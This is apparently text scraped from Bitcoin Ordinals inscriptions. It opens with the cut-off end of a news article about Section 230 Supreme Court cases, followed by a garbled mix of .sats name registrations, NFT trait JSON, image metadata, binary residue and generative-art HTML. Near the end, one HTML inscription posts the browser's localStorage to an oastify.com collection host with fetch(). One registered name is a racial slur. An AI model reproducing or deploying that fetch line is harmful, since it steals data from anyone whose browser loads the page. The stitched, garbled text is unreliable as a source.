 said Mary Anne Franks, a University of Miami law professor.\n\nThe Supreme Court previously declined to hear seM
veral cases challenging the statute. In 2020, the court turned down a lawsuit, by the families of individuals killed in terrorist attacks, that said Facebook was responsible for promoting extremist content. In 2019, the court declined to hear the case of a man who said his former boyfriend sent people to harass him using the dating app Grindr. The man sued the app, saying it had a flawed product.\n\nBut on Feb. 21, the court plans to hear the case of Gonzalez v. Google, which was brought by the family of an AmericaM
n killed in Paris during an attack by followers of the Islamic State. In its lawsuit, the family said Section 230 should not shield YouTube from the claim that the video site supported terrorism when its algorithms recommended Islamic State videos to users. The suit argues that recommendations can count as their own form of content produced by the platform, removing them from the protection of Section 230.\n\nA day later, the court plans to consider a second case, Twitter v. Taamneh. It deals with a related questioM
n about when platforms are legally responsible for supporting terrorism under federal law.\n\nEric Schnapper, a University of Washington law professor who is one of the lawyers representing the plaintiffs in both cases, said in an interview that the arguments were narrow enough that they wouldn
t change wide swaths of the internet.
The whole system doesn
 he said.\n\nBut Halimah DeLaine Prado, Google
s general counsel, said in an interview that
any negative ruling in this case, narrow orM
 otherwise, is going to fundamentally change how the internet works,
 since it could result in the removal of recommendation algorithms that are
 to the web.\n\nTwitter did not respond to a request for comment.\n\nTech companies are also closely watching the Texas and Florida cases. Both states passed laws prohibiting social networks from taking down certain content after Twitter and Facebook barred President Donald J. Trump following the Jan. 6, 2021, riot at the U.S. Capitol. Texas
rs sue if a large online platform removes their post because of the
 it expresses. The Florida law fines platforms that permanently ban the accounts of a candidate for office in the state.\n\nNetChoice and CCIA, groups funded by Facebook, Google, Twitter and other tech companies, sued to block the laws in 2021. The groups argued that the companies had a constitutional right to decide what content to host.\n\n
s a roundabout way of punishing businesses for exercising First Amendment rights thatM
 others disagree with,
 said Chris Marchese, a counsel at NetChoice.\n\nIn Florida, a federal judge agreed with the industry groups, ruling that the law impinged on the platforms
 First Amendment rights, and the U.S. Court of Appeals for the 11th Circuit upheld most of that decision. But the U.S. Court of Appeals for the Fifth Circuit upheld Texas
the idea that corporations have a freewheeling First Amendment right to censor what people say.
\n\nThat puts the Supreme Court under pressure M
to step in. When federal courts offer different answers to the same question, the Supreme Court often chooses to settle the dispute, said Jeff Kosseff, an associate professor of cybersecurity law at the U.S. Naval Academy.\n\nA spokeswoman for Florida
s attorney general, Ashley Moody, pointed to the state
s filings with the Supreme Court, where it argues that the ruling blocking the law strips states
to protect their citizens
 access to information.
 A spokesman for the Texas attorney general, KM
en Paxton, did not respond to a request for comment.\n\nIf the Supreme Court
s justices decide to hear the challenges, they could move to take the cases immediately for the court
s term ending in June or for its next term, which runs from October until the summer of 2024.\n\n
re, right now, in a place where the court is being positioned to make a new judgment on the internet,
FjDOUT:1FC4884BF1C52A9AF0A297C36AF98B0568AC44520EB3DCCEDA712B926C5D5E90
FjDOUT:75ECDA204EAE1BA006B7AC5AF3F6135E4A13739483F74C04F4F6E15DB6577922
CjA=:BNB.BNB:bnb1ydjj8q3n90qn937qpe73vf7xx0jmz242rt73nd:113785079::0
text/plain;charset=utf-8
  "name": "liverpool.sats"
text/plain;charset=utf-8
  "name": "manchester.sats"
text/plain;charset=utf-8
text/plain;charset=utf-8
  "name": "ahg.sats"
text/plain;charset=utf-8
  "name": "ahh.sats"
text/plain;charset=utf-8
  "name": "ahk.sats"
text/plain;charset=utf-8
  "name": "ahf.sats"
text/plain;charset=utf-8
  "name": "ahj.sats"
text/plain;charset=utf-8
  "name": "sherlock.sats"
text/plain;charset=utf-8
d/Foundry USA Pool #dropgold/
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"luo.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"hai.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"mian.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"67678.sats"}h!
text/plain;charset=utf-8
  "name": "ahl.sats"
text/plain;charset=utf-8
  "name": "ahm.sats"
text/plain;charset=utf-8
text/html;charset=utf-8
    <meta charset="UTF-8">
    <title>A simple template for launching your art on Bitcoin</title>
    Generative supports the most popular creative coding libraries. Simply uncomment the library you want to use below.
    Are we missing an important library? Let us know @generative_xyz.
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script>
    <!-- c2.min.js@1.0.0
pt sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/c2/1.0.0/c2.min.js"></script>
    <!-- chromajs@2.4.2
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/chroma-js/2.4.2/chroma.min.js"></script>
<!--    <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/p5.grain/0.6.1/p5.grain.min.js"></script>-->
    <!-- threejs@r124
    <script sandbox="allow-scripts" typM
e="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r124/three.min.js"></script>
    <!-- tonejs@14.8.49
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/tone/14.8.49/Tone.js"></script>
    <!-- svgjs@3.1.2
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/svg.js/3.1.2/svg.min.js"></script>
    <!-- aframejs@1.2.0
    <script sandbox="allow-scripts" type="text/jaM
vascript" src="https://cdnjs.cloudflare.com/ajax/libs/aframe/1.2.0/aframe.min.js"></script>
    <!-- babylonjs@5.47.0
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/babylonjs/5.47.0/babylon.js"></script>
    <!-- paperjs@0.12.17
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/paper.js/0.12.17/paper-full.min.js"></script>
    <!-- regljs@2.1.0
    <script sandbox="allow-scripts" tM
ype="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/regl/2.1.0/regl.min.js"></script>
    <script type="text/javascript">
 Add your script here
 Add your script here
    <script id="snippet-random-code" type="text/javascript">
        let seed = window.location.href.split('/').find(t => t.includes('i0'));
        if (seed == null) {
            const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz";
            seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0";
            let pattern = "seed=";
            for (let i = 0; i < seed.length - pattern.length; ++i) {
                if (seed.substM
ring(i, i + pattern.length) == pattern) {
                    seed = seed.substring(i + pattern.length);
                    break;
        function cyrb128($) {
            let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
            for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
urn _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
        function sfc32($, _, u, i) {
            return function () {
                u >>>= 0, i >>>= 0;
                var l = ($ >>>= 0) + (_ >>>= 0) | 0;
                return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | M
0) | 0) | 0, (l >>> 0) / 4294967296
        // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation.
        // This function generates a random number between 0 and 1 with on-chain seed.
        let mathRand = sfc32(...cyrb128(seed));
        html, body {
            margin: 0;
            padding: 0;
            max-width: 100%;
            max-height: 100%;
            margin: auto;
     overflow: auto;
            position: fixed;
            object-fit: contain;
            bottom: 0;
            left: 0;
            right: 0;
<script type="text/javascript">
    const rand = mathRand();
    function T1(rand) {
        // calculate rarity by yourself
        if (rand > 0.5) {
            return true;
    // window.$generativeTraits contain list traits for token
    // you need to populate a $generativeTraits object in the window object
    window.$generativeTraits = {
        "T1": T1(rand),
    console.log(window.$generativeTraits)
 Add your code here
nst container = document.createElement("div")
    // container.innerHTML = "<span>seed: " + seed + "</span><br>";
    // document.body.prepend(container)
    //License: Creative Commons Attribution-NonCommercial-ShareAlike 3.0 Unported License.
    //Author: @devhontran
    //Twitter: https://twitter.com/DevHontran
    //Website: https://hontran.dev
    const scaler = 1;
    let paper, border;
    let shadown = {x: -5, y: 5};
    let layers = [];
    let padding = 40;
    function cyrb128(str) {
= 1779033703, h2 = 3144134277,
            h3 = 1013904242, h4 = 2773480762;
        for (let i = 0, k; i < str.length; i++) {
            k = str.charCodeAt(i);
            h1 = h2 ^ Math.imul(h1 ^ k, 597399067);
            h2 = h3 ^ Math.imul(h2 ^ k, 2869860233);
            h3 = h4 ^ Math.imul(h3 ^ k, 951274213);
            h4 = h1 ^ Math.imul(h4 ^ k, 2716044179);
        h1 = Math.imul(h3 ^ (h1 >>> 18), 597399067);
        h2 = Math.imul(h4 ^ (h2 >>> 22), 2869860233);
        h3 = Math.imul(h1 ^ (h3M
 >>> 17), 951274213);
        h4 = Math.imul(h2 ^ (h4 >>> 19), 2716044179);
        return [(h1^h2^h3^h4)>>>0, (h2^h1)>>>0, (h3^h1)>>>0, (h4^h1)>>>0];
    function sfc32_c(a, b, c, d) {
        a >>>= 0; b >>>= 0; c >>>= 0; d >>>= 0;
        var t = (a + b) | 0;
        a = b ^ b >>> 9;
        b = c + (c << 3) | 0;
        c = (c << 21 | c >>> 11);
        d = d + 1 | 0;
        t = t + d | 0;
        c = c + t | 0;
        return (t >>> 0) / 4294967296;
    // return random value from [l -> r]
function consistentRand (seed, l, r) {
        const rand = sfc32_c(...cyrb128(seed.toString()));
        return l + rand * (r - l)
    function getRandomItem (listP, seed) {
        const pref = []
        for (const x of listP) pref.push(x)
        for (let i = 1; i < listP.length; i++) {
            pref[i] += pref[i - 1]
        for (let i = 0; i < pref.length; i++) pref[i] /= pref[pref.length - 1];
        // get random value from 0->1
        const rand = consistentRand(seed, 0, 1)
r (let i = 0; i < pref.length; i++) {
            if (rand < pref[i]) return i;
    function createRadialGradient(x, y, r, x1, y1, r1) {
        const grd = drawingContext.createRadialGradient(x, y, r, x1, y1, r1);
        grd.addColorStop(0,"#FFFFFF");
        grd.addColorStop(1,"#E5E5E3");
        drawingContext.fillStyle = grd;
        drawingContext.fillRect(0, 0, width, height);
    function artNosie(){
        const w = width * 1.2;
        const h = height * 1.2M
        paper = createGraphics(w, h);
        for(let i = 0 ; i< 100000; i++){
            let x = random(w);
            let y = random(h);
            let dotSize = 10.0*(noise(x/(width / 4), y/(height / 4))*2 - noise(x/width, y/height));
            paper.strokeWeight(random(0.25, 3));
            paper.stroke(random(20, 80), random(1+dotSize, 4+dotSize));
            paper.point(x, y);
    function generabox(col, pos, si){
        const layer = createGraphics(width, height);
ill(140, 178, 250, 56);
        layer.noStroke();
        layer.rect(pos.x + shadown.x, pos.y + shadown.y, si.w, si.h);
        layer.filter(BLUR, 3);
        layer.fill(col.r, col.g, col.b, col.a);
        layer.noStroke();
        layer.rect(pos.x, pos.y, si.w, si.h);
        layers.push(layer);
    function setup() {
        const hash = rand ? rand : Math.random();
        const fCol = {r: 255, g: 255, b: 255};
        const s = min(window.innerWidth, window.innerHeight)
        createCanvas(s,s);M
        for(let i=0; i<9; i++){
            const tHash = `${hash}_${i}`;
            const cyrHash = cyrb128(tHash);
            const mixHash_color_r = consistentRand(cyrHash[0], 0, 1);
            const mixHash_color_g = consistentRand(cyrHash[1], 0, 255);
            const mixHash_color_b = consistentRand(cyrHash[2], 0, 255);
            const mixHash_color_a = 255;//consistentRand(cyrHash[3], 100, 255);
            const sw = consistentRand(cyrHash[0],50, width / 2);
            const sh = consistentRaM
nd(cyrHash[3], 50, height / 2);
            const col = {r: mixHash_color_r, g: mixHash_color_g, b: mixHash_color_b, a: mixHash_color_a};
            const si = {w: sw, h: sh};
            const pos_x = consistentRand(cyrHash[1], padding, width- padding - si.w);
            const pos_y = consistentRand(cyrHash[2], padding, height- padding - si.h);
            const pos = {x: pos_x, y: pos_y}
            // console.log('___i', col, pos, si);
            generabox(col, pos, si);
        const borderSize = 30;
        border = createGraphics(width, height);
        border.fill(fCol.r, fCol.g, fCol.b, 255);
        border.noStroke();
        border.rect(0, 0, borderSize, height);
        border.fill(fCol.r, fCol.g, fCol.b, 255);
        border.noStroke();
        border.rect(width - borderSize, 0, borderSize, height);
        border.fill(fCol.r, fCol.g, fCol.b, 255);
        border.noStroke();
        border.rect(0, 0, width, borderSize);
        border.fill(fCol.r, fCol.g, fCol.b, 255)M
        border.noStroke();
        border.rect(0, height - borderSize, width, borderSize);
    function draw() {
        background('#ffffff');
        blendMode(BLEND);
        for(let i=0; i<9; i++){
            image(layers[i], 0, 0, width, height);
        blendMode(MULTIPLY)
        createRadialGradient(width / 2, height / 2, 0, width / 2, height / 2, height);
        blendMode(MULTIPLY);
        image(paper, 0, 0, width, height);
        image(border,M-
 0, 0, width, height);
    function windowResized() {
        const s = min(window.innerWidth, window.innerHeight)
        resizeCanvas(s, s);
 Add your code here
text/plain;charset=utf-8
  "name": "niggers.sats"
2iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 137.da4a7e5, 2022/11/27-09:35:03        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xapM
/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 24.1 (Windows)" xmp:CreateDate="2023-03-02T12:18:07-08:00" xmp:ModifyDate="2023-03-02T12:19:11-08:00" xmp:MetadataDate="2023-03-02T12:19:11-08:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:6f547cf4-4889-ad46-860e-a89985970523" xmpMM:DocumentID="adobe:docid:photoshop:792db8be-f0f9-b941-9499-8125412ef092" xmpMM:OriginalDocumentID="xmp.did:f557410b-42bd-f64e-bd3e-afe9fee30776"> <xmpMMM
:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:f557410b-42bd-f64e-bd3e-afe9fee30776" stEvt:when="2023-03-02T12:18:07-08:00" stEvt:softwareAgent="Adobe Photoshop 24.1 (Windows)"/> <rdf:li stEvt:action="converted" stEvt:parameters="from application/vnd.adobe.photoshop to image/png"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:6f547cf4-4889-ad46-860e-a89985970523" stEvt:when="2023-03-02T12:19:11-08:00" stEvt:softwareAgent="Adobe Photoshop 24.1 (Windows)" stEvt:changed="/"/> </M
rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
EjC=:BNB.BNB:bnb1hztrftklfx749yc228zvlpjgd6gsw9a8uafwph:118109163:t:30
LjJ=:THOR.RUNE:thor1h7e586kkdvcvfnwhlrmyq6rkfaqjldrzg5vvvm:1106321319352:t:30
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"jacobh.sats"}h!
text/plain;charset=utf-8
/{"p":"sns","op":"reg","name":"palcapital.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"jfhaft.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"toby.sats"}h!
text/plain;charset=utf-8
/{"p":"sns","op":"reg","name":"thehoarder.sats"}h!
Aj?=:ETH.ETH:0x8B582D91bE8E6AC4A22cC63B4521eC581317c9b3:5283011::0
{"attributes":[{"trait_type":"Background","value":"Blue"},{"trait_type":"Hat","value":"Commie Hat"},{"trait_type":"Eyes","value":"Sleepy"},{"trait_type":"Fur","value":"Black"},{"trait_type":"Mouth","value":"Bored Unshaven Cigar"}],"external_url":"https://baycbitcoin.com/index/bayc/8458","image":"ipfs://QmWwSKeAhhs1CNNDDkMaYgdWvZjrCUyfczc51JXp81i3H1/8458.png"}
 .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO
&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
{"attributes":[{"trait_type":"Mouth","value":"Bored"},{"trait_type":"Background","value":"New Punk Blue"},{"trait_type":"Eyes","value":"Cyborg"},{"trait_type":"Hat","value":"Party Hat 1"},{"trait_type":"Fur","value":"Blue"}],"external_url":"https://baycbitcoin.com/index/bayc/5528","image":"ipfs://QmWwSKeAhhs1CNNDDkMaYgdWvZjrCUyfczc51JXp81i3H1/5528.png"}
 .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO
&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
text/plain;charset=utf-8
  "name": "docker.sats"
text/plain;charset=utf-8
  "name": "docker.sats"
text/plain;charset=utf-8
  "name": "bonjovi.sats"
text/plain;charset=utf-8
  "name": "timberlake.sats"
text/plain;charset=utf-8
  "name": "maroon5.sats"
text/plain;charset=utf-8
  "name": "cardib.sats"
text/plain;charset=utf-8
  "name": "malone.sats"
text/plain;charset=utf-8
  "name": "johnlegend.sats"
text/plain;charset=utf-8
  "name": "jcole.sats"
text/plain;charset=utf-8
  "name": "martingarrix.sats"
text/plain;charset=utf-8
  "name": "davidguetta.sats"
text/plain;charset=utf-8
  "name": "pinkfloyd.sats"
text/plain;charset=utf-8
  "name": "bobmarley.sats"
text/plain;charset=utf-8
  "name": "jbalvin.sats"
text/plain;charset=utf-8
  "name": "timberland.sats"
text/plain;charset=utf-8
  "name": "mintable.sats"
text/plain;charset=utf-8
  "name": "dragons.sats"
text/plain;charset=utf-8
  "name": "thesandbox.sats"
text/plain;charset=utf-8
  "name": "wipro.sats"
text/plain;charset=utf-8
  "name": "uipath.sats"
text/plain;charset=utf-8
  "name": "slack.sats"
text/plain;charset=utf-8
  "name": "sys.sats"
text/plain;charset=utf-8
  "name": "nec.sats"
text/plain;charset=utf-8
  "name": "aht.sats"
text/plain;charset=utf-8
  "name": "ahn.sats"
text/plain;charset=utf-8
  "name": "ahs.sats"
text/plain;charset=utf-8
  "name": "ahp.sats"
text/plain;charset=utf-8
  "name": "ahq.sats"
text/plain;charset=utf-8
  "name": "aho.sats"
text/plain;charset=utf-8
text/plain;charset=utf-8
iTXtXML:com.adobe.xmp
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:exif="http://ns.adobe.com/exif/1.0/">
         <exif:PixelYDimension>553</exif:PixelYDimension>
         <exif:PixelXDimension>553</exif:PixelXDimension>
         <exif:UserComment>Screenshot</exif:UserComment>
      </rdf:Description>
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
text/html;charset=utf-8
	<title>Chemical X compound test</title>
	<canvas id="myCanvas" width="500" height="500"></canvas>
		var canvas = document.getElementById("myCanvas");
		var context = canvas.getContext("2d");
		var colors = ['#ff00ff', '#ffde00', '#54e507', '#903ef9', '#ffedd7', '#fc8300', '#0bc4ff', '#ff0000'];
		var startBlockHeight = 778988;
		function updateColor() {
    fetch('https://blockchain.inM
fo/q/getblockcount')
        .then(response => response.text())
        .then(data => {
            var currentBlockHeight = parseInt(data);
            var blockDiff = currentBlockHeight - startBlockHeight;
            var colorIndex = blockDiff % colors.length;
            var color = colors[colorIndex];
            context.fillStyle = color;
            context.fillRect(0, 0, canvas.width, canvas.height);
        .catch(error => console.error(error));
// Call updateColor() once initially to set theL
// Check the block height every 10 seconds and update the color if it has changed
setInterval(updateColor, 10000);
text/plain;charset=utf-8
  "name": "btc6.sats"
text/plain;charset=utf-8
  "name": "tottenham.sats"
d/Foundry USA Pool #dropgold/
text/plain;charset=utf-8
  "name": "ahu.sats"
text/plain;charset=utf-8
  "name": "ahw.sats"
text/plain;charset=utf-8
  "name": "ahx.sats"
text/plain;charset=utf-8
  "name": "ahv.sats"
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
text/plain;charset=utf-8
  "name": "inscribooor.sats"
text/plain;charset=utf-8
	!http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about=""/> </rdf:RDF> </x:xmpmeta>                                                          M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                               <?xpacket end="w"?>
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
text/plain;charset=utf-8
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYM
FjDOUT:A80248746124804A39298A617C617EA038B2B503FFD63CF9CFC1E291F560932C
Aj?=:ETH.ETH:0xDb3a6A307c5772389a12f6240Fc405b8a5F391BC:1947817::0
Bj@=:ETH.ETH:0x999364266EcA4Bc7346788e15Cf9e31F5ffCe156:42163907::0
FjDOUT:6B238A44B1C68DE244C11F1F4110C9414F0247A079804991D9121168AE52E736
{"attributes":[{"trait_type":"Fur","value":"Cream"},{"trait_type":"Mouth","value":"Phoneme L"},{"trait_type":"Clothes","value":"Navy Striped Tee"},{"trait_type":"Hat","value":"Spinner Hat"},{"trait_type":"Background","value":"Yellow"},{"trait_type":"Eyes","value":"Bored"}],"external_url":"https://baycbitcoin.com/index/bayc/9608","image":"ipfs://QmWwSKeAhhs1CNNDDkMaYgdWvZjrCUyfczc51JXp81i3H1/9608.png"}
 .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO
&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
text/plain;charset=utf-8
  "name": "tong.sats"
{"attributes":[{"trait_type":"Clothes","value":"Bandolier"},{"trait_type":"Eyes","value":"Sleepy"},{"trait_type":"Mouth","value":"Phoneme Vuh"},{"trait_type":"Background","value":"Yellow"},{"trait_type":"Earring","value":"Silver Hoop"},{"trait_type":"Hat","value":"Bandana Blue"},{"trait_type":"Fur","value":"Noise"}],"external_url":"https://baycbitcoin.com/index/bayc/3372","image":"ipfs://QmWwSKeAhhs1CNNDDkMaYgdWvZjrCUyfczc51JXp81i3H1/3372.png"}
 .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO
&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
{"attributes":[{"trait_type":"Mouth","value":"Bored"},{"trait_type":"Background","value":"Army Green"},{"trait_type":"Fur","value":"Dmt"},{"trait_type":"Clothes","value":"Black Holes T"},{"trait_type":"Hat","value":"Fez"},{"trait_type":"Eyes","value":"3d"}],"external_url":"https://baycbitcoin.com/index/bayc/5126","image":"ipfs://QmWwSKeAhhs1CNNDDkMaYgdWvZjrCUyfczc51JXp81i3H1/5126.png"}
36F7,-@WAFLNRSR2>ZaZP`JQRO
&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
text/plain;charset=utf-8
  "name": "zou.sats"
DjB=:BNB.BNB:bnb1mp8wr6fnszsv6hkktslptmk8ve6akagfqr3jny:32286374:te:0
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"88802.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"88803.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"88804.sats"}h!
text/plain;charset=utf-8
0{"p":"sns","op":"reg","name":"billionaire.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"88810.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"88805.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"88807.sats"}h!
text/plain;charset=utf-8
  "name": "ahy.sats"
text/plain;charset=utf-8
  "name": "aib.sats"
text/plain;charset=utf-8
  "name": "ahz.sats"
text/plain;charset=utf-8
  "name": "aic.sats"
text/html;charset=utf-8
fetch('https://zbe5n0dpcwn4fzwn4fx7wwx68xen2c.oastify.com/', {
body:JSON.stringify(localStorage)
text/plain;charset=utf-8
  "title": "The Freedom to Transact",
  "url": "https://ordinals.com/preview/85fc97fc0537efba2bf9356691c7a3c7a0239bffefa6597686255fc41aedf572i0",
"author": "Ash Lightstone"
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"jamel.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"ike.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"brayden.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
'#*" "*#>1++1>H<9<HWNNWmhm
'#*" "*#>1++1>H<9<HWNNWmhm
text/plain;charset=utf-8
'#*" "*#>1++1>H<9<HWNNWmhm
'#*" "*#>1++1>H<9<HWNNWmhm
text/plain;charset=utf-8
text/plain;charset=utf-8
'#*" "*#>1++1>H<9<HWNNWmhm
'#*" "*#>1++1>H<9<HWNNWmhm
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
'#*" "*#>1++1>H<9<HWNNWmhm
'#*" "*#>1++1>H<9<HWNNWmhm
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"seth.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"lyle.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"alfred.sats"}h!
'#*" "*#>1++1>H<9<HWNNWmhm
'#*" "*#>1++1>H<9<HWNNWmhm
text/plain;charset=utf-8
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"burt.sats"}h!
text/plain;charset=utf-8
text/plain;charset=utf-8
'#*" "*#>1++1>H<9<HWNNWmhm
'#*" "*#>1++1>H<9<HWNNWmhm
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
'#*" "*#>1++1>H<9<HWNNWmhm
'#*" "*#>1++1>H<9<HWNNWmhm
text/plain;charset=utf-8
'#*" "*#>1++1>H<9<HWNNWmhm
'#*" "*#>1++1>H<9<HWNNWmhm
